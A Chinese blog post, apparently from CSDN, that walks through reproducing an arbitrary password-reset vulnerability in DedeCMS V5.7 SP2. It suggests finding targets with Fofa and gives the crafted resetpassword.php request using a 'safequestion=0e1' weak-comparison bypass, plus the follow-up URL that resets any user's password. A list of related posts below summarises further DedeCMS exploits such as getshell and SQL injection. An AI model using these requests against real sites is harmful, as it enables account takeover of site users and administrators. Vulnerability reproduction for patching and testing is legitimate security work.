dedecms 漏洞_DedeCMS任意用户密码重置漏洞

最新推荐文章于 2024-03-13 21:23:03 发布
最新推荐文章于 2024-03-13 21:23:03 发布
阅读量851 收藏
点赞数
文章标签： dedecms 漏洞 dedecms漏洞

漏洞环境

Fofa搜dedecms

漏洞危害

重置系统的所有账号的密码

影响范围

DeDecms V5.7 SP2最新版本

漏洞复现

首先注册账号0000001/0000002

2f39946fba129e83f18e300fe5e04210.png

登录成功

98063a073025ded65d1986bc033ec5ac.png

通过登录抓包知道此账号对应的id号为16然后清除cookie退出浏览器，再次访问登录页面

801d57c5e86404f1700d669ff4e1d1de.png

构造请求包生成poc

/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=16

be3e4b3868331150c5f30e8182a0d755.png

根据poc构造重置密码的url

http://www.xxx.com/member/resetpassword.php?dopost=getpasswd&id=16&key=b8sJ1HN6

74488877199da12d82bada48ac878b5d.png

直接在这对目标账号修改个新密码就行了。

weixin_39636540
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现】DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)
做自己喜欢的事，并将其发挥到极致！
05-31 3373
uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一，在5.7.106之前的DedeCMS中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件uploads/dede/article_allowurl_edit.php的未知功能。操纵参数allurls会导致代码注入。可以远程发起攻击获得网站控制权限。
dedecms 文件上传 （CVE-2019-8933）漏洞复现
weixin_42675091的博客
09-03 3056
dedecms 文件上传 （CVE-2019-8933）
DedeCms织梦系统漏洞复现
最新发布
LIU6636LIU的博客
03-13 1453
1 部署好之后发现系统默认管理路径是dede，登陆管理后台可以通过地址然后有dedecms安全提示直接打开根目录修改dede文件夹为LYP重新进去管理员后台对数据进行还原看一下网站的地址接着生成新的网站然后即可访问网站，CMS搭建完毕首先打开后台管理页面开启会员功能这样就可以注册一个账户。
漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞
HengMengSec的博客
08-16 1678
织梦内容管理系统（DeDeCMS）以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统，它在多年的发展中取得了显著进步，无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国，DedeCMS被认为是最受欢迎的CMS系统之一。但是，最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断，攻击者可以利用弱类型比较来绕过安全措施。
dedecms批量漏洞扫描.zip_dedecms_dedecms 扫描器_dedecms漏洞_dedecms路径扫描_批量扫描
07-13
dedecms批量漏洞扫描，大家可以自己试试效果
DeDeCMS前台任意用户密码修改漏洞复现.pdf
12-16
DeDeCMS前台任意用户密码修改漏洞复现
Dedecms_20150618_member_sqli (2).py
10-05
dedecms5.7sp1后台（要能够注册member的vip账户后台才可以）存在sql延时注入exp，用火狐得到账户登录的cookie替换，然后Python2.7跑脚本，from乌云雨神 http://www.hekaiyu.cn/hacker/3060.html
wLHK-Dedecms漏洞整理.pdf
09-20
wLHK-Dedecms漏洞整理 从给定的文件信息中，我们可以看到该文件是关于Dedecms漏洞的整理报告，包含了多个漏洞的详情，包括SQL注入漏洞、XSS漏洞等。下面我们将对这些漏洞进行详细的分析和解释。 首先，我们来看第...
织梦CMS_V5.7任意用户密码重置漏洞复现
wutiangui的博客
09-12 704
漏洞位于member/resetpassword.php文件中，因未对传入的参数safeanswer进行严格类型检查，导致可使用弱类型比较绕过。在代码分析中，当 d o p o s t 等于 s a f e q u e s t i o n 时，通过传入的 dopost等于safequestion时，通过传入的 dopost等于safequestion时，通过传入的mid查询用户信息，判断安全问题和答案是否匹配。输入新密码，比如admin,然后登录试下，发现登录成功，数据库里查到的也是admin。
织梦dedecms程序安全漏洞include/common.inc.php漏洞解决方法
winkexin的博客
03-23 402
1.受影响版本织梦dedecms 5.7、5.6、5.5。2.漏洞文件/include/common.inc.php 3.DEDECMS的全局变量初始化存在漏洞，可以任意覆盖任意全局变量。3.DEDECMS的全局变量初始化存在漏洞，可以任意覆盖任意全局变量。2.通过此漏洞进行各种越权操作构造漏洞直接写入webshell后门。2.漏洞文件/include/common.inc.php。1.受影响版本DEDECMS 5.7、5.6、5.5。1.黑客可以通过此漏洞来重定义数据库连接。文章到此为止 请自行完善吧。
Dedecms 最新版漏洞收集并复现学习
墨痕诉清风的博客
09-30 5369
在用户密码重置功能处，php存在弱类型比较，导致如果用户没有设置密保问题的情况下可以绕过验证密保问题，直接修改密码(管理员账户默认不设置密保问题)。这么一次过滤，直接粗暴的将一些特殊字符替换为空，那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制，比如文件名为。这样，由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。我们可以看到当uid存在值时就会进入我们现在的代码中，当cookie中的last_vid中不存在值为空时，就会将uid值赋予过去，
DedeCMS漏洞修复该如何去防止黑客入侵
网站安全专家
05-31 248
不定期进行安全评估和渗透测试，对存在的安全问题进行修复和优化。员工安全教育培训，提高员工安全意识，避免因误操作导致的安全问题。对文件uploads/dede/article_allowurl_edit.php进行修改，在写入allowurl.txt文件之前，加入过滤器对内容进行过滤，并且限制允许写入的内容格式。在/data/admin/allowurl.txt文件中写入的内容，并没有经过安全过滤，从而导致被成功绕过。由此可见，开发者应该严格限制用户输入的数据，避免类似漏洞的出现，确保网站的安全性和稳定性。
DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞
网站安全专家
08-10 3777
织梦dedecms，在整个互联网中许多企业网站，个人网站，优化网站都在使用dede作为整个网站的开发架构，dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问，首页以及栏目页生成html静态化，大大的加快的网站访问速度，以及搜索引擎的友好度，利于百度蜘蛛的抓取，深受广大站长以及网站运营者的喜欢。最近我们发现dedecms漏洞，存在高危的parse_str函数sql注入漏...
织梦dedecms漏洞修复大全含任意文件上传漏洞与注入漏洞
zxy840552216的博客
07-12 1250
很多人说dedecms不好，因为用的人多了，找漏洞的人也多了，那么如果我们能修复的话，这些都不是问题，今天就为大家讲解一下如何修复任意文件上传漏洞与注入漏洞。任意文件上传漏洞修复包含一个文件/include/dialog/select_soft_post.php；SQL注入漏洞包含5个文件/include/filter.inc.php /member/mtypes.php /member/pm.php /plus/guestbook/edit.inc.php /plus/search.php...
一次旁站信息泄露的dedecms站点渗透
zhangge3663的博客
11-26 868
今天又是准备划水认真工作的一天，没想到一到公司领导就甩了个站过来，这可能就是打工人吧 话不多说来看看站，先信息收集一波 初步测试目标站点 打开进去是一个类似购物商城的地方，没有什么特殊的点，想要操作基本都要进行登录，中间件是nginx 再看看插件，惊喜来了，是dedecms 先直接盲打一波后台地址/dede 直接404...... 再看看好歹有前台，先注册个用户 再查看最后更新时间 可以知道是dedecms v5.7 sp2的版本 这个版本之后有前台管理员密码重置漏洞和任意密码重
巧秒利用fofa挖到第一个漏洞
热门推荐
hackzkaq的博客
07-14 1万+
FOFA是一款非常强大的搜索引擎 关于对于fofa的描述是：FOFA（网络空间资产检索系统）是世界上数据覆盖更完整的IT设备搜索引擎，拥有全球联网IT设备更全的DNA信息。 探索全球互联网的资产信息，进行资产及漏洞影响范围分析、应用分布统计、应用流行度态势感知等。 相对于shodan来说fofa的优点就是更加本土化，拥有更多的域名数据，建立了全球最大的资产规则集，而且现在已经更新了识别蜜罐的功能。 fofa的功能这么强大，那我们要怎么利用好提供的功能来挖洞呢？ fofa官方提供了一些基本语法： 图片 而真正
DeDecms(织梦CMS)最新版任意用户密码重置漏洞分析
3569
01-11 1万+
http://docs.ioin.in/writeup/xianzhi.aliyun.com/_forum_topic_1926/index.html DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版) 由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击 导致了远程攻击者可以在前台会员中心绕过
Weblogic漏洞 - Weblogic 弱口令漏洞
HAKUNAMATATATTA的博客
12-02 1880
WebLogic Server 是美国甲骨文（ Oracle ）公司开发的一款适用于云环境和传统环境的应用服务中间件，确切的说是一个基于 JavaEE 架构的中间件，它提供了一个现代轻型开发平台，用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。将Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
dedecms漏洞复现
03-28
由于 Dedecms 平台存在多个漏洞，以下是一个常见的 Dedecms 漏洞复现过程： 1. 扫描目标 Dedecms 站点，确定其版本号和漏洞类型。 2. 找到对应的漏洞利用代码，例如 Dedecms v5.7 SP2 sql注入漏洞利用代码： ``` ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值